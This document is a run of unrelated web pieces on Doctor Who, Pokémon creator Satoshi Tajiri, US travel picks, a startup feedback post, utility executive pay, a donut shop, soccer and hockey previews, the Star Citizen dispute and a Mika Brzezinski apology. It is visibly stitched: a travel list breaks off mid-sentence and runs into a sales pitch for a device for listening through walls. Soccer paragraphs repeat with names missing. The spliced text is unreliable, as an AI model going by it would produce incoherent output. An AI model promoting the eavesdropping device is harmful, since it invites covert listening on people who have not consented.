Moffat’s restrictions make sense only from a narrow, white, male, middle-class, Western, heteronormative perspective. Yes, Doctor Who is a basically a kids’ show, and intended for a general British audience, so we can’t expect it to be too daring. But Moffat is still limiting himself too much. The show has already broached topics such as child abuse (“Fear Her”), so why not a young person who’s fleeing abuse? The show deals with military matters constantly, so why not a young soldier fleeing a deployment to the Middle East? Of course, there’s no reason why a companion must be from 2012. Why not someone fleeing Nazi oppression? Fleeing slavery on a Southern plantation in 1820? There could be many good reasons why someone wants to fly away with the Doctor that aren’t about having a crush on him but about wanting to get away from a hellish existence even if he or she doesn’t quite trust the Doctor.
What about someone with a nefarious purpose for joining the Doctor? The show could use a new companion like Turlough, from the Peter Davison era, who wasn’t just fleeing an intolerable situation but was “hired” by the Black Guardian to kill the Doctor (and who slowly figured out that this would be a bad thing to do, and slowly came around to life on the TARDIS with companions who never quite trust him). For that matter, Turlough was an alien (at least culturally, if not biologically) — why not a nonhuman or at least non-Terran companion with nonhuman and/or non-Terran motives for hooking up with the Doctor?
The possibilities are almost literally endless. Why can’t Moffat see that?
(If you stumble across a cool Doctor Who thing, feel free to email me with a link.)Total Recall Total Recall is a look back at the history of video games through their characters, franchises, developers and trends.
As the creator of Nintendo’s Pokémon series, Satoshi Tajiri is one of the most important (if not well-known) developers working in video games today.
Like another Nintendo legend, Mario creator Shigeru Miyamoto, Tajiri’s most popular work has been directly inspired by his childhood experiences and hobbies. While Miyamoto’s Zelda was the product of boyhood explorations, however, Tajiri’s role-playing juggernaut is the product of, as you may expect, boyhood insect collections.
Tajiri grew up in Machida, a city that now forms part of the sprawling metropolis that is greater Tokyo. As a boy in the 1960s and 1970s, though, it had a quaint, almost rural atmosphere, which led Tajiri to a hobby of collecting local bugs and insects.
He was so mad for it, in fact, that his classmates would call him “Mr. Bug”, and as a child he wanted to grow up to be an entomologist (someone who studies insects). As happens when kids get older, though, interests come and go, and by the time he was a teenager Tajiri’s focus had shifted from harvesting bugs to pumping coins into arcade games like Space Invaders.
So keen on gaming had he become that Tajiri began to cut high school classes to go play games (so much so he nearly failed to graduate from high school), and when he eventually bought a Famicom in the early 80's, took the thing completely apart to see how it worked so he could make his own games.
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Tajiri (pictured, left) isn’t as well-known as one would expect given the popularity of his creation. Nintendo representatives explained a few years ago that, while Tajiri is incredibly creative, he is also described by them as “reclusive” and “eccentric”.
This means that, unlike most other famous game developers, Tajiri never went to college or university. Instead, he studied electronics at a Tokyo technical college, and in 1981 started up a little video game fanzine called Game Freak. While little more than a few pages of writing crudely printed and stapled together, the zine was distributed enough to catch the attention of additional contributors, including, most crucially for Taijiri’s future success, a young man by the name of Ken Sugimori.
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The pair soon became friends, and after Game Freak (the zine) wound up in 1986 — and a few years studying programming language and Nintendo’s Famicom console — in 1989 the two founded Game Freak (the development company).
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Game Freak’s first game, Mendel Palace, was published by Namco on the Famicom in 1989, but it was in 1990, when Taijiri saw two Game Boys connected using a link cable, that the penny dropped. Drawing on his childhood love of collecting insects, Taijiri envisaged a game where Game Boys could be linked together and creatures not only collected, but put into battle against one another.
Nintendo, and particularly Taijiri’s “mentor” Shigeru Miyamoto (who helped Game Freak release a few games like Mario & Yoshi for Nintendo in the early 90's) backed the idea, and while it took over six years to develop - and nearly bankrupted the fledgling studio - in 1996, the first Pokémon games were released on the Game Boy in Japan.
What came next, well, you don’t need a Total Recall post to tell you that.
UPDATE : This story originally referenced a text book that stated Taijiri has AS. This has never been verified by either Taijiri or Nintendo.
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FUN FACT: As a tribute to his friend and mentor, Taijiri named two of Pokémon’s main characters after himself and Miyamoto. In Japan, the boy we know as Ash is called Satoshi, while Gary is called Shigeru.With 50 states, 14 territories, and countless, ever-changing destinations for curious travelers, choosing where to go on vacation in the US can be a challenge. Luckily, we love a good travel challenge.
Washington, DC and Rocky Mountain National Park were recommended in Lonely Planet’s Best in Travel 2015, but we couldn’t leave it at just two. As in previous years, we tapped into the expertise of Lonely Planet’s US authors and editors to come up with the top 10 American destinations primed for a visit in 2015.
2015’s Best in the US list includes a mix of up-and-coming destinations, old faves with new highlights and places poised to shine. And we hope you like to eat and drink, because the whole country seems to be enjoying a local food renaissance. No matter what your taste in travel, these destinations are sure to satisfy your appetite for the coming year.
Which of these destinations is best suited for you and your travel style? Take our quiz to find out!
1. Queens, New York
Queens, New York’s largest borough, is also quickly becoming its hippest, but most travelers haven't clued in… yet. With microbreweries springing up, new boutique hotels, a reinvented seaside at Rockaway, a world-class art scene, and a truly global food culture, 2015 is the year to try Queens.
Enjoying the view of Manhattan from Long Island City, Queens. Image courtesy of the LIC Partnership.
Nowhere is the image of New York as the global melting pot truer than Queens. Browse New York’s biggest Chinatown in Flushing, shop for brilliantly colored saris in Jackson Heights, and inhale the heady aromas of coffee and hookahs in Astoria. The incomparable array of world cuisines makes Queens a destination for food lovers from all parts of New York City.
For your art fix, ogle the new upgrades to the Queens Museum and the Museum of the Moving Image, look for the new Emerging Artists Festival (conceptionevents.com) held in Long Island City, and stroll Astoria’s new 24-block arts district (kaufmanartsdistrict.org). If you prefer sand and surf to paint and canvas, head to Rockaway. Don’t miss the prime eating and drinking scene that has popped up around the boardwalk – this is no cruddy carnival food: think succulent fish tacos, wood-fired pizzas, and wine bars.
Dig deeper into NYC's hottest destination with Queens: New York’s biggest borough comes into its own and check out our video on Uncovering Queens.
2. Western South Dakota
With a combination of vast natural beauty, quirky small-town charm, Native American cultural sites, and some famously larger-than-life presidential noggins carved into a mountain, it’s hard to find anywhere that looks more like the America of one’s imagination than Western South Dakota.
Custer State Park’s annual Buffalo Roundup. Image courtesy of the South Dakota Department of Tourism
2015 is the 50th anniversary of the Custer State Park Buffalo Roundup, a chance for cowboys and cowgirls to show their stuff as they move the park’s 1400 buffalo to their winter grazing territory. The Oglala Sioux and National Park Service are working to create the first tribal national park in the southern Badlands, with the aim of bringing buffaloes back to the grasslands where they roamed long before humans settled the area.
An even larger and noisier herd is gathering in 2015 for the 75th anniversary of the Sturgis Motorcycle Rally, the largest annual meeting of motorcycle enthusiasts in the world. Over 500,000 people gather each August, and the 2015 rally is the perfect excuse to channel your Easy Rider and head out on a motorcycle road trip.
Find out more about where the buffalo roam in Adventures in South Dakota.
3. New Orleans, Louisiana
In the wake of Hurricane Katrina, New Orleans’ future was far from certain. A decade later, it's clear: The Big Easy is back and thriving. With a mix of refurbished history and new upstarts, the city has a raft of fresh options for travelers – all uniquely New Orleans.
Dancing at a local Mardi Gras celebration in New Orleans. Image courtesy of New Orleans Convention and Visitors Bureau
In a region that has always prided itself on its local culinary and cocktail traditions, New Orleans hasn’t lost a beat. New Orleans chefs shone at the James Beard awards this year and bars like Twelve Mile Limit are pushing deep into craft cocktail territory making spins on classics, using locally produced products such as old New Orleans Rum and Huhu's Ginger Brew. After dinner and a drink, head to St Claude Avenue for the latest and most eclectic nightlife, from cabaret to gypsy jazz, punk rock, and bounce, New Orleans' homegrown hip-hop dance music.
New Orleans’ love for the spirit of celebration is triumphantly on display every weekend (except during the height of summer) in Second Lines (wwoz.org), community parades put on by neighborhood Social Aid & Pleasure Clubs, and their associated brass bands, that march through the city.
Read more in New Orleans 10 years after Katrina: old meets new.
4. Colorado River region
Ever dreamed of rafting down the Colorado River? With a controversial proposal for large-scale development at the confluence of the Colorado and Little Colorado Rivers – with hotels, a gondola, and more – not to mention diminishing rainfall, and ever increasing flyover traffic from sightseeing tours, now is the time. Some 140 years since John Wesley Powell shared his account of the first river descent, the trip down the longest stretch of navigable river in the US has become one of the iconic US adventure travel experiences – and one that might not last forever.
The Colorado River flows far through the famous Horseshoe Bend in Page, Arizona. Image by Mikel Ortega / Moment / Getty Images
Starting in |
, connect the earphones with it and listen to things being said on the other side of the wall.
It Works on wooden walls, doors, windows, steel plates, etc, works best when used on barriers that are 6 – 10 inches in thickness. The amplification level can be increased by a dial located at the back of the device. You can listen to all those gossips and murmurs by increasing the amplification level. Now your ears can sneak in to the happenings behind the walls!
Company’s Important Note: You are solely responsible for finding out whether this product is legal to import and/or use in your country. We will send you the products you order and cannot accept any liability for customs issues or any implications of your ownership or usage of this device.
Features & Specs:
Works on wooden walls, doors, windows, steel plates, etc.
Spy Bug with earphones
Volume Dial to amplify sounds
3.5mm Earphone Jack
USB IN
ON/OFF Switch Button with volume Dial
Built In Rechargeable Battery
Dimensions: L:43 x Diameter:36 (mm)
Highly Sensitive, carefully adjust audio slowly, as not to cause discomfort to your ear-buds
The device is available only for $55. Order you piece right now.Besides performance, there’s other factor on which feedback has also a huge impact: motivation.
When all our basic needs are secured, when we have food in the table, when we aren’t afraid to die with a bullet or sickness, when we have good friends, etc, then the most important aspect for our motivation and happiness is self-actualization — the need for learning new things and becoming better selves.
Maslow defined a set of needs that tend to lie in a hierarchy: when a lower need is satisfied, one higher is likely to take over.
Due to this, feedback will (many times subconsciously) have a great influence on why people like to work on your company, and thus influence when deciding to stay or leave you to a competitor.
That’s why giving feedback plays such a great role in a startup — feedback has a huge impact making your company better, happier, and more motivated to achieve great things.
—
In the following posts this week, I will be writting about how to set mechanisms to give proper feedback. Follow this publication if you would like to be notified.The top five executives at city-owned Enmax all made more than $1 million each last year.
Gianna Manes was paid $1.9 million last year as CEO of City of Calgary-owned utility company Enmax. (www.duke-energy.com)
Numbers released at the company's annual general meeting on Thursday show CEO Gianna Manes topped the list, earning $1.9 million last year.
And she's on track for a $700,000 bonus this year.
Coun. Brian Pincott, who sits on the Enmax board of directors, says the executive compensation is performance-based and is in line with similar-sized companies.
"I have to say their compensation and where it sits in the marketplace is reviewed regularly by the board and fits bang right there in the middle."
Three years ago, Mayor Naheed Nenshi announced a 20-per cent salary rollback for senior executives at the power utility company following months of controversy over their pay and perks.
However, with performance bonuses, their annual compensation has now all exceeded earlier levels.
Enmax paid a dividend of $60 million to the city last year. But this year's share will be $56 million, down slightly because of reduced revenues.From the outside, The Donut Man looks like a Bank Of America branch that closed in the ‘80s. Inside, it looks like a business that bought a bunch of old fixtures from a Dunkin Donuts. The styrofoam cups are also very Dunkin-y, and the logo includes an illustration of a pink frosted donut with sprinkles, which appears to be lifted directly from The Simpsons Movie. According to their business card, there are four The Donut Man locations: three in western Massachusetts, and one in Myrtle Beach, South Carolina. I guess we know where the owners like to spend their winters.
I’m sitting in one of those seats—not a booth… y’know, those things where it’s two small tables welded together with four spinny chairs attached to a steel frame? One of those. I’m sitting at one of those. “At that”? I can’t even tell if this goddamned leg-constricting cage is singular or plural. Anyway, I’m in one of thems, next to the fireplace (yes, there’s a fireplace), facing the side of a refrigerator case full of soda. My view is dominated by a human-sized Pepsi bottle graphic that appears to be so adamantly cool and bold and refreshing, it’s downright aggressive.
The donuts (or “doughnuts” if you have an overabundance of time, and choose to type out every useless letter ever invented) at The Donut Man are really good. At least I assume they’re really good. See, I’m always on the lookout for a great granulated sugar jelly donut (NOT POWDERED, YOU FOOL), and The Donut Man has a great granulated sugar jelly donut. One of the best I’ve had in the Pioneer Valley. It’s so great that I haven’t bothered with any of their other donuts. So based off of my knowledge of *this* donut (the one in my mouth, right now, as I type), I will assume that all the other donuts here are at least pretty good, too.
The woman working the register leans over the side of the counter and speaks to a man who has walked in and sat at a booth without ordering. She has a great accent, possibly Jamaican.
Her: “Do you need anything else?”
Him: “What? Me?”
Her: “Do you need anything else?”
Him (appearing confused and guilty): “I’m just using the wifi.”
Her: “Ten dollars.”
Him: (flustered silence)
Her: “Ha ah ha I’m kidding! You looked so serious!”
Every time the door opens, a shrill digital chime bleats behind the counter. There’s also something else beeping back there, maybe a loud coffee maker or a quiet smoke detector? None of the workers seem too motivated to shut it off. Security system? Drive thru notification? It sounds like a convoy of tractor trailers are about to back up through the wall. Gaahhhh! I’m about to stick cinnamon buns over my ears like Princess Anne-Droid when the alarmolypse finally stops.
Across the room, an older guy chews on a danish. Based on his hat, scarf, and coat, I’m guessing that he’s either a fancy hobo or a Victorian-era chimney sweep (I mean, in my defense, he’s covered in soot and has a bindle, so it really is hard to say for sure.) The TV is tuned to FOX or CNN or something else that’s annoying. A mom and a dad try their damnedest to ignore their crying toddler. We are all being watched by security cameras—a surprising number of security cameras—mounted on the drop ceiling.
A partially deaf Latino woman walks in and asks me where the court is. This is the perfect storm of my insecurities: being asked for directions by someone who isn’t speaking clearly and also can’t hear me. But I figure out the question after only asking her to repeat it once, and shockingly, I know that she means the courthouse, AND I know the courthouse is right down the street. I answer her question correctly! This is a big success for me. I sit back in my torso-cage, covered in sugar, savoring this social victory. Come celebrate with me. Let us eat jelly donuts together. NOT POWDERED.Gameday Essentials
Tampa Bay Rowdies at New York Cosmos
Saturday, October 31, 7 p.m. ET
Official Watch Parties at the Rowdies Den in St. Pete and at the Shamrock Pub in Sarasota.
The match is only available on TV through One World Sports network and to stream through OneWorldSports.com
Scouting the Cosmos
The Cosmos found themselves in a slight downward spiral after their 2-0 loss to the Rowdies on September 5. That all seems to be in the rearview mirror, though, as New York has now won three straight and could still nab the top playoff seed this weekend depending on how Ottawa Fury FC fares in their match.
A win is no easy thing to come by in the Cosmos home venue Shuart Stadium. Tampa Bay’s heritage rival has lost only one home match all year, and that was to the league-leading Fury. Unlike most of their opponents, the Cosmos have learned how to make the most out of one of the worst artificial surfaces in the league.
Despite the Cosmos advantageous position in the combined standings, the club’s pool of forwards has been fairly underwhelming in the later stages of the Fall Season. Former Rowdies player Lucky Mkosana has cooled off after a red hot Spring Season. After an inconsistent start to his Cosmos career, fall signing Gaston Cellerino has displayed some positive signs in recent outings, posting one goal and two assists in three straight starts. Cellerino has a big body to ward off defenders, but he’s also not ashamed to go to ground looking for penalties.
The Cosmos defense has been stout throughout much of the year, allowing the second fewest goals in the league (30). Head Coach Giovanni Savarese has selected the same back line combination in the club’s last four matches and they’ve only allowed two goals during that stretch. Right back seems the only slight vulnerability on the back line. San Antonio found great success on that side of the field last weekend. Hunter Gorskie and Hunter Freeman have switched off in the position over the past month, but neither possess tremendous pace and the Rowdies should look to exploit that.
What to Watch For
Please, no set pieces for the bad guys. The bread and butter for the Cosmos has, in large part, been set pieces strikes. They usually earn quite a few corner kicks and free kicks in dangerous areas thanks to their high-pressure attack. A big factor in the Rowdies win over the Cosmos this year was a disciplined performance that limited many of those set piece opportunities. Marcos Senna is retiring at end of the year, so it would be terrific if the Rowdies could prevent him from notching another brilliant free kick goal.
is retiring at end of the year, so it would be terrific if the Rowdies could prevent him from notching another brilliant free kick goal. Darwin Espinal and Darnell King should be expected to keep their starting jobs on the wings. The tremendous pace that those two players bring to the table could be invaluable to the Rowdies attacking prospects. With Freddy Adu seemingly locked into a central attacking midfield role now, Espinal and King could find themselves the benefactors of many excellent set ups. Espinal has already proven himself unfazed by the Cosmos, as he was the lone bright spot in the spring loss to them and followed that up with a superb goal in the September win.
and should be expected to keep their starting jobs on the wings. The tremendous pace that those two players bring to the table could be invaluable to the Rowdies attacking prospects. With seemingly locked into a central attacking midfield role now, Espinal and King could find themselves the benefactors of many excellent set ups. Espinal has already proven himself unfazed by the Cosmos, as he was the lone bright spot in the spring loss to them and followed that up with a superb goal in the September win. Juan Guerra is likely to miss the regular season finale thanks to a knee injury suffered in the 1-1 draw with Ottawa nearly three weeks ago. Guerra is a great leader on the field, but the silver lining is that Richard Menjivar and Justin Chavez have been outstanding as the two holding midfielders recently. Captain Marcelo Saragosa will also likely be available should Campbell desire a veteran presence in the midfield battle.
is likely to miss the regular season finale thanks to a knee injury suffered in the 1-1 draw with Ottawa nearly three weeks ago. Guerra is a great leader on the field, but the silver lining is that and have been outstanding as the two holding midfielders recently. Captain will also likely be available should Campbell desire a veteran presence in the midfield battle. Last Saturday’s second half substitute appearance for leading scorer Maicon Santos was his first action since going out with a foot injury early in September. Santos had a scary moment against Carolina where he went down with an off the ball injury, but he was able to continue and has been in full training all week. The forward is likely not fit enough to go for a full 90 minutes, but Campbell could be tempted to start him anyway. Santos has proven himself the most consistent finisher in a stable of unreliable forwards. With playoff hopes on the line, putting your most clinical scorer on from the start seems like the best bet for success. Brian Shriver, Corey Hertzog and Georgi Hristov are all decent options when you need to bring on fresh legs and stretch the Cosmos in the second half.
IMAGE, TAMPA BAY Rowdies
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PrintThere’s a big, ugly controversy brewing right now that could only come out of the bickering, petty, lying, arrogant, me-centric video game industry. If you haven’t been keeping track, Star Citizen, the far-and-away most crowdfunded anything of all time, is up over 90 million US dollars in funding as of now. Holy bojangles that’s a fat load. So then why did The Escapist publish an article last Friday titled “Eject! Eject! Is Star Citizen Going to Crash and Burn?“? Well, because they started listening to the words of one Derek Smart, game industry veteran and legendary internet fight-picker. But now Chris Roberts, creator of Star Citizen, has released a statement of his own lambasting The Escapist and Smart to boot. So what is going on here between all these crazy rich people?
If you haven’t heard of Star Citizen before this, I’ll just say that it is likely the most ambitious gaming project every conceived. It’s creator, Chris Roberts, developed the Wing Commander series of games throughout the 90’s and early 2000’s, and when he showed up on Kickstarter promising a new game with every conceivable gaming feature the human mind could conjure, his fans dropped a wad of cash the size of a small planet onto the project. But it didn’t stop there. The stretch goals just kept getting stretchier, and the money just kept rolling in through a post-Kickstarter funding campaign they ran through the game’s official website.
So it became HUGE, right? And what happens when something become huge? Well, especially in today’s landscape of ever-increasing crowdfunding disasters, there are going to be skeptics and detractors. So who appeared as the head of these naysayers? Why, well-known developer, forum-flamer and getter of goats, Derek Smart.
Who’s Derek Smart Again?
Derek Smart is, by his own words, “the the oldest living #indiedev fossil”. And though that is highly arguable, he did become well-known in the mid-90’s for a couple reasons. For one, his debut title Battlecruiser 3000AD, a game which he had been conceptualizing since the 80’s, went through a nearly unbelievable amount of rights exchanges and delays before finally being released in 1996. There were other problems as well, including a buggy initial release, and a lawsuit between Smart and publisher Take-Two Interactive. A flurry of hype had surrounded the game for much of its development time, so when it was released early and broken, a monsoon of derision descended onto Mr. Smart.
In today’s world of bug-tastic Early Access releases and with development hell becoming a standard pitstop for many game dev teams, none of this would raise too many eyebrows. But Derek made sure his name became known, but not for rising above the controversy, that’s for sure. Throughout the development and far after the release of Battlecruiser, Smart’s persona became forever linked to the intense flame wars that centered around him and his development progress on Usenet. He would take on anyone and everyone that raised a word against him and his creation, and gained a reputation as someone that would always make sure to have the last word. He became the premier whipping boy of the gaming industry in the 90’s and strife never failed to follow him to whichever corner of the internet he was found, and he made sure it stayed that way.
But I’m going to extend some sympathy here to D Smart, because he had a few reasons to be angry. He started designing Battlecruiser when he had nary an inkling as to how to design a game. He learned coding by himself and toiled away in his free time to create the project of his dreams. Sound familiar? It was the protozoic struggle of the indie game developer, back in a time where there was no community to support such an endeavor. Smart was forced to work with publishers in order to keep afloat while working on the game, but continuously left them when they wanted to tone down the ambitiousness or originality of his vision. And when the final publisher demanded he release the game—unfinished, buggy, without documentation—in order to meet a Christmas deadline, he was left angry and defeated. And everyone hated him for the product that was released.
How would you react if your perceived life’s work was released without your blessing, to be chided and ridiculed by the world? Yeah, probably not as badly as Derek Smart did. But, ya know ¯\_(ツ)_/¯
The Escapist
So fastforwarding to the year 2015, Derek Smart released a string of blog posts criticizing Star Citizen for what he perceived as an impossible feat of game development, the online magazine The Escapist produced an article clumping together all of Smart’s railings for dissemination to a wider audience. These included questions about the allocation of funds, delays in the game’s release, changes to the format and features, silent changes to the Terms of Service agreement, and a general doubt in the ability to produce the game at all. And beyond that, the article states that Smart went on the offense, sending a letter to Cloud Imperium Games (Roberts’ development company) demanding a release date, refunds for anyone that wants one, and a “complete forensic accounting” procedure. It also threatens a class-action lawsuit if they don’t comply. Cloud Imperium responded by saying there was no legal grounds for such a suit, and then call into question how Smart drops the name of his current project repeatedly in his blogs against Star Citizen.
So far The Escapist’s role is fairly innocent in this whole ordeal, having only recapped the squabble between the two veteran game devs. But that changed yesterday when they went into full attack mode themselves and released the follow-up article “Star Citizen Employees Speak Out on Project Woes“. In it, they claim to have been contacted by several former and current employees, who basically talk mad shit about not only the company and project as a whole, but also Roberts himself. Here are a few doozies from this anonymous crew of disgruntlers.
About Roberts:
He doesn’t set out in the morning to screw anybody over. He’s just incredibly arrogant. The thing you have to remember about Chris Roberts is that, before this, he hadn’t made a game in 12 years. He has no concept of what can and can’t be done today with that amount of money, or for a game like this. I couldn’t take it. It was by far the most toxic environment I have ever worked in. No one had clear direction about how to do their jobs well. No one was empowered to do their jobs well. Everything was second guessed, and the default reaction to everything was blame and yelling and emails with all capital letters and curse words.
About the vice president of Cloud Imperium and Roberts’ wife, Sandi Gardiner:
She would write emails with so much profanity. She would call people stupid, retard, faggot. Accuse men of not having balls. And she was incredibly hostile to other female employees. Sandi is very jealous. She has to be the queen bee at the company. Whenever I was around her, I felt like I was in the presence of a cobra who, at that moment, might not have been inclined to strike but was completely willing to. You don’t get on her bad side.
Whew! Highly personal stuff. But the drama doesn’t end there. Right before The Escapist was ready to blow the doors of Roberts and his project this second time, an email was sent to Roberts by Escapist senior editor John Keefer warning him of the aforementioned article’s impending release, and giving him an opportunity to respond to the allegations for inclusion in the article. In the name of jernalizm! But although it was a fair gesture, they gave him a very small window of time to respond, and made it clear they were dying to get this thing out. But Roberts did manage to respond with 3 hours to spare on the deadline… … … but they didn’t include anything from his response anyway. ¯\_(ツ)_/¯
Supporters of Star Citizen were pissed and flipped out accordingly. In response, the article was amended heavily to include sections of Roberts’ response and the excuse that Roberts “did not include either the writer or the EiC (editor-in-chief)” in the response email which resulted in “the delayed additions”. I’m still not completely clear on what “did not include[…]” means in regards to the response email. The only thing that makes sense is that the writer and EiC were not included as recipients, but the way the email is printed directly from Roberts on his blog clearly shows John Keefer as the recipient. But that’s not official, so who knows. You can read Roberts’ full response along with a transcription of the original email asking for comment here.
Wrapping up
So where does that leave us? I’m sure if you’ve made it this far with me, you’re likely deep into the “who gives a shit, these people are all nuts” zone. But I’d like to lay one last layer of blame upon all involved before you make up your mind.
Firstly, I think very little was done by The Escapist to rigorously fact-check these anonymous employees calling out their employer. In his response, Roberts points out that he has over 200 employees, and every company has disgruntled former workers. He makes a big point of emphasizing “former workers”, and one thing the Escapist article doesn’t do is say which of these sources are current or former employees. They only quoted 4 of the supposed 9 detractors, so these 4 could very well be the ones that were fired and are still mad about it. For a publication that has openly embraced GamerGate culture as much as they have, these articles sure do go against the group’s purported principles. It was clearly a sensationalist grab at viewers->advertisement revenue.
On the other hand, Derek Smart has at least one very good reason to call bullshit on the Star Citizen project, and that’s the fact that they changed their terms of service. Originally the company stated that if the product wasn’t released within one year past their release deadline (a deadline of their own making, mind you), backers would be allowed to request and receive a full refund. But when it became clear that their deadline was ridiculously inaccurate, they just changed the ToS. Not only did it get changed to 18 months past the deadline, but the deadline was pushed back from November 2014 to the end of 2016. Now, it’s not uncommon for a company to change their ToS, but when you’re changing a fundamental promise to your crowdfunding backers, a promise that was meant to engender trust in them, you’re basically saying “it don’t matter what we said, we’re gonna do whatever we damn well please!” These guys should go into politics, they’re naturals.
And lastly, let’s beat down on Mr. Smart, for old time’s sake. This is a man who went through a very hard stretch of his life at the hands of people telling him a) his dream was too ambitious and couldn’t be done b) he didn’t have the skills c) the delays were ridiculous d) he was a fraud. But he proved them wrong, eventually. So then why is the guy turning around and doing the same injustice to someone else just to get a few eyeballs on his blog? Hyp. O. Crite. The man has a hunch and he’s running with it because it’s getting him talked about. And though it’s possible he may be right in the end, I don’t think anyone can say for sure at this point. Let’s just hope he’s wrong for the sake of wishing good on the world rather than misfortune in the face of uncertainty.
I know you guys have opinions about this, so let me know in the comments. I tried to stay as neutral as I could, which was fairly easy considering I seriously have no idea who’s right or wrong on this one.Welcome to the NHL Trade Buzz. There are 11 days remaining until the 2017 NHL Trade Deadline (3 p.m. ET., March 1), and the surging Florida Panthers are healthy and have loads of space under the salary cap to be aggressive. Also, Winnipeg Jets center Mathieu Perreault wonders why his name has floated around in trade rumors when he wants to stay put, but could see the bright side of a trade if one happened.
Florida Panthers
Florida is healthy, rolling and looking to buy.
The Panthers won their third game in a row and sixth in their past seven by defeating the Anaheim Ducks 4-1 on Friday at Honda Center.
The victory brought the Panthers to within two points of the Boston Bruins for third place in the Atlantic Division with two games in hand. They are one point behind the Toronto Maple Leafs for the second wild card into the Stanley Cup Playoffs from the Eastern Conference heading into play Saturday.
Video: FLA@SJS: Huberdeau buries Barkov's feed for OT win
Not only are the Panthers surging at the right time, they have more than $9 million in space under the NHL salary cap to work with, according to capfriendly.com.
"The goal is to be buying," president of hockey operations Dale Tallon told NHL.com in a phone interview Saturday. "I like where we're at, but I'd like to add some offense to get our power play going."
The Panthers entered their game Saturday at the Los Angeles Kings (10 p.m. ET; FS-W, FS-F, NHL.TV) with a success rate of 15.2 percent on the power play, 28th in the NHL. However, Florida has scored on three of its 11 opportunities during the three-game winning streak.
The return of forward Jonathan Huberdeau on Feb. 3 after a season-long absence because of an Achilles tendon injury made the Panthers fully healthy for the first time this season.
"I like our team, we've been waiting for [a healthy roster] for a long time," Tallon said. "Jonathan's made an extraordinary recovery."
The Panthers' core is remarkably young with forwards Huberdeau (23), Aleksander Barkov (21), Nick Bjugstad (24), Vincent Trocheck (23) and Reilly Smith (25) and defensemen Aaron Ekblad (21), Michael Matheson (22) and Alex Petrovic (24) all 25 or younger. All but Matheson and Petrovic are signed to long-term contracts.
Tallon admits that the youth on his roster might make him a little more willing than some of his counterparts around the NHL to part with some prospects in his system in return for some immediate help.
"But it has to be for the right asset," Tallon said.
The Panthers have six games before the deadline, and Tallon doesn't anticipate much movement around the NHL before next weekend at the earliest with so many teams still believing they have a shot at the playoffs.
"It's quiet right now," he said. "It's probably going to go down to next Sunday or Monday before trades are made."
Winnipeg Jets
Forward Mathieu Perreault saw his name pop on a trade target list a few weeks ago was confused.
He signed a four-year contract extension with the Jets in July that goes into effect next season precisely because he wanted to stay in Winnipeg and be part of what looks like a promising future.
Video: MTL@WPG: Perreault roofs Wheeler's feed from in front
Then, all of a sudden, he's supposedly a trade target.
"At first I was asking myself where those rumors were coming from," Perreault said before the Jets played the Montreal Canadiens at Bell Centre on Saturday. "I signed a four-year contract extension in the summer, and six months later people are talking about trading me. That's why, when I talk to the coaches and the organization, I know it's not coming from the organization. I don't know if it's coming from the media or how it's getting out there."
The more he thought about it, however, Perreault came to realize that perhaps the upcoming expansion draft might be a reason why the Jets would consider moving him.
"Maybe I'm a guy they might lose for nothing," he said.
Perreault, 29, entered the game in Montreal with 18 points (four goals, 14 assists) in 43 games, his lowest point per game average (0.42) since 2010-11, his second season in the NHL. But he has been a strong possession player his entire career and remains so now.
"I want to stay in Winnipeg," said Perreault, who does not have no-trade protection on his current contract, but has a modified no-trade clause on his next one. "I signed here knowing there was a good future here with some good young players. This season's been tough. We're not out of it yet, but it's going to be tough, we're going to need a pretty great run from now until the end of the season to make the playoffs.
"If a trade happens, it will probably be to a team that's going to make the playoffs, and at my age I'd like to try to win the Stanley Cup eventually. So if it happens, at least it would be to a team that's going to make the playoffs."
New Jersey Devils
Coach John Hynes is making forward Michael Cammalleri a healthy scratch for the first time in his career when the Devils host the New York Islanders on Saturday (7 p.m. ET; MSG, MSG+, NHL.TV), though it would be wise not to read too much into that.
Cammalleri, 34, has not scored a goal in 18 straight games and has 30 points (10 goals, 20 assists) in 51 games this season.
Video: NJD@WSH: Cammalleri shows off smooth hands in SO
His history as a goal-scorer and someone who performs well in the playoffs might be attractive to some teams in the trade market, but the two years after this season remaining on his contract at $5 million per season would likely scare away any suitors.
Though the Devils, who enter Saturday five points out of a playoff spot, are more likely to be sellers than buyers, it is doubtful Cammalleri would interest too many teams.
Cammalleri has a no-trade clause, but it is hard to imagine him not lifting it if that meant being traded to a contender.MSNBC host Mika Brzezinski issued a formal apology for comments she made on Morning Joe regarding the women who accused political analyst Mark Halperin of sexual harassment and assault.
“We have been trying our best on Morning Joe to have an honest conversation about sexual harassment and sexual assault,” Brzezinski said in a statement obtained by EW. “The issue has hit close to home given that Mark Halperin was on our show. I have spent a lot of time talking to some of his accusers and to Mark himself. Often I bring up the issue on our show because I think it would be less than genuine to talk about the growing number of cases without recognizing that a former member of our team acted very badly.
“In our discussion about sexual harassment this morning, I said some things that hurt people,” she continued. “In the case of Mark, my goal today was to start a conversation about hearing from the men whenever we can, but I realize that it is not my place. It isn’t my call to make, and for that I am truly sorry. As a victim of sexual assault, I understand that each individual’s case is different. This is up to the victims, some of whom I’ve been in contact with. My hope is for all of us to come together to support the brave women who speak out and help make workplaces safer as we continue this difficult conversation in the months and years ahead.”
On Friday, Brzezinski discussed the overwhelming amount of sexual harassment and assault claims made against men in positions of power. She said Halperin, a friend of hers, “is more than willing to meet with his accusers and apologize [to] them face-to-face.”
“I’ve actually tried to offer him to them,” Brzezinski added. “They don’t want to talk to him.”
The Washington Post reporter Paul Farhi tweeted a letter signed by 10 of Halperin’s accusers in response. “Sexual harassment and assault is illegal in the workplace, and represents a violation of the policies and standards of NBC News,” the letter read in part. “It is an unethical and harmful request to ask that sexual assault victims confront their accusers in person and, in particular, on live TV.”
Read it in full below.
Just got this: Ten women who have accused Mark Halperin of sexual misconduct send statement to @msnbc rebutting @morningmika’s comments this morning about Halperin: pic.twitter.com/wgDStvilwM — Paul Farhi (@farhip) December 22, 2017
Emily Miller, who claimed that Halperin once “attacked” her, told CNN Brzezinski’s comments made her “so upset” that she was “shaking.”
“I can’t retraumatize myself to be in the same room with him to please Mika Brzezinski and her rich and famous friends,” Miller said. “If Halperin genuinely wanted to apologize, he could send a letter or put it in public domain. Instead he has on the record denied my accusations which is extremely painful as a victim to be denied the truth. It is disgusting and unethical of Mika to use the power of her show to shame me, a sexual assault victim, into meeting with the man who did that to me.”
In a story published by CNN in October, five women accused Halperin of varying degrees of sexual harassment. Multiple other women came forward in the aftermath with similar claims, including that he allegedly masturbated in front of one of them and physically threw another one against a wall.
Halperin denied claims that he masturbated in front of anyone, as well as physically or verbally threatening anyone. Though, he issued a lengthy apology for what he described as his own “aggressive and crude” behavior.
